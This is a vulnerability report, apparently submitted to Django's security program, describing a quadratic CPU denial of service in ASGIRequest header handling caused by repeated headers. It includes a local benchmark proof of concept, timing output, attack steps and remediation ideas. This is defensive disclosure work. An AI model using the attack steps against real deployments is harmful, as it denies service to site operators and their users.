Django · Report #3426417
ASGIRequest header concatenation quadratic CPU DoS on Django via repeated headers leads to worker exhaustion
How it was found
ASGIRequest header concatenation quadratic CPU DoS
Reporter: Jiyong Yang / BAEKSEOK University
Target: Django (current main, affects all versions with ASGI support)
Type: Denial of Service (CPU exhaustion)
Summary
django.core.handlers.asgi.ASGIRequest builds the META dictionary by iterating over the ASGI scope["headers"] array. Whenever the same header name appears multiple times (which is legal in HTTP/2 and HTTP/3), the code concatenates the previous value and the new chunk via value = existing + "," + new. Because Python strings are immutable, each concatenation copies the entire accumulated value. If an attacker repeats a header n times, the loop performs 1 + 2 + … + n = Θ(n²) bytes of copying before the request even reaches view code. A single request with a few thousand duplicated headers therefore ties up the worker CPU and creates a denial-of-service condition on any Django ASGI deployment.
for name, value in self.scope.get("headers", []):
name = name.decode("latin1")
if name == "content-length":
corrected_name = "CONTENT_LENGTH"
elif name == "content-type":
corrected_name = "CONTENT_TYPE"
else:
corrected_name = "HTTP_%s" % name.upper().replace("-", "_")
value = value.decode("latin1")
if corrected_name == "HTTP_COOKIE":
value = value.rstrip("; ")
if "HTTP_COOKIE" in self.META:
value = self.META[corrected_name] + "; " + value
elif corrected_name in self.META:
value = self.META[corrected_name] + "," + value
self.META[corrected_name] = value
Impact
- One HTTP/2 request that repeats a short header 8,000–16,000 times consumes several hundred milliseconds to multiple seconds of CPU just to build the request object. No body payload is required.
- Attackers can open a handful of parallel connections and keep ASGI workers (uvicorn + gunicorn, Daphne, etc.) saturated, preventing legitimate traffic from being served.
- The attack stays within Django's documented limits (URLs/headers < 8 KB, body < 2.5 MB) and requires no special configuration changes, so it satisfies the Django security policy.
Proof of Concept
The following script imports Django from the repository, constructs ASGIRequest objects with varying header counts, and measures how long __init__() spends concatenating:
import sys, time
from io import BytesIO
sys.path.insert(0, "/django-poc")
sys.path.insert(0, "/django-poc/django")
import asgiref.sync
class ThreadSensitiveContext:
async def __aenter__(self): return self
async def __aexit__(self, exc_type, exc, tb): return False
asgiref.sync.ThreadSensitiveContext = ThreadSensitiveContext
from django.conf import settings
if not settings.configured:
settings.configure(DEBUG=False, SECRET_KEY="x", ROOT_URLCONF=__name__,
ALLOWED_HOSTS=["*"], USE_TZ=True)
import django
django.setup()
from django.core.handlers.asgi import ASGIRequest
def bench(n, header_len=128):
scope = {
"type": "http",
"scheme": "http",
"path": "/",
"method": "GET",
"headers": [(b"cookie", b"a=1" * (header_len // 4)) for _ in range(n)],
"query_string": b"",
}
start = time.perf_counter()
ASGIRequest(scope, BytesIO(b""))
return time.perf_counter() - start
for n in (2_000, 4_000, 8_000, 16_000):
print(f"{n} headers -> {bench(n):.6f}s")
Example output on my M3 system:
2000 headers -> 0.015708s
4000 headers -> 0.066771s
8000 headers -> 0.233624s
16000 headers -> 1.131225s
Doubling the header count quadruples the runtime, clearly showing the Θ(n²) growth. All requests used zero body bytes and only ~2 MB of total header data, so they comply with Django's policy limits.
Attack Scenario
- Open an HTTP/2 connection to the Django ASGI deployment (gunicorn+uvicorn, Daphne, etc.).
- Send a GET request with one cookie (or any header) duplicated thousands of times, keeping individual header values small (<128 B) and leaving the body empty.
ASGIRequestconcatenates each copy intoMETA, burning CPU before middleware or views run.- Repeat on a few concurrent connections to keep all worker processes busy and deny service to legitimate users.
Root Cause
The request constructor stores repeated headers as a single comma-delimited string by copying the full accumulated value at every iteration. Because Python strings are immutable, each existing + "," + value operation reallocates and copies the entire string. There is no upper bound on repeated headers and no streaming/buffering mechanism, so the loop performs Θ(n²) work for Θ(n) input.
Remediation Ideas
- Collect repeated headers in lists (e.g.,
defaultdict(list)) and only call",".join(values)after the loop, reducing the complexity to O(n). - For cookies, use
"; ".join(...)with the same approach instead of repeated string concatenation. - Optionally enforce a sane maximum repetition count per header name to fail fast on absurd inputs.
Policy Fit
- Inputs remain within Django's published limits (body under 2.5 MB, headers under 8 KB per entry).
- Attack works against default ASGI deployments with no custom settings.
- Impact is a classic CPU exhaustion DoS, explicitly listed as in-scope for Django's security program.
Timeline
- 2025-11-14: Issue discovered and locally benchmarked.